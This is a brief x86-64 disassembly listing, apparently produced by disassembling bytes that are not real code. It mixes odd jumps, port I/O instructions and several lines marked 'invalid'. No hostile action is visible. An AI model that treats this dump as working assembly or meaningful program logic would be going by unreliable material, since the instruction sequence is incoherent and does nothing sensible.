mov edi, 0x8a6179ff
push qword [rcx + 0x38]
jns 0x14003f71b
mov bh, bh
jno 0x14003f6f6
cmp byte [rbp - 1], ch
insb byte [rdi], dx
insd dword [rdi], dx
jmp [rbx + rsi + 0x64]
xor esp, dword [rdi + rdi*8 + 0x74]
cmp ebp, dword [rbp - 1]
jne 0x14003f705
outsd dx, dword [rsi]
invalid
cmc
invalid
sbb byte [rdi], dh
call [rbx - 0x33007693]
mov al, 0xc9
push qword [rdx + 0x22]
invalid
invalid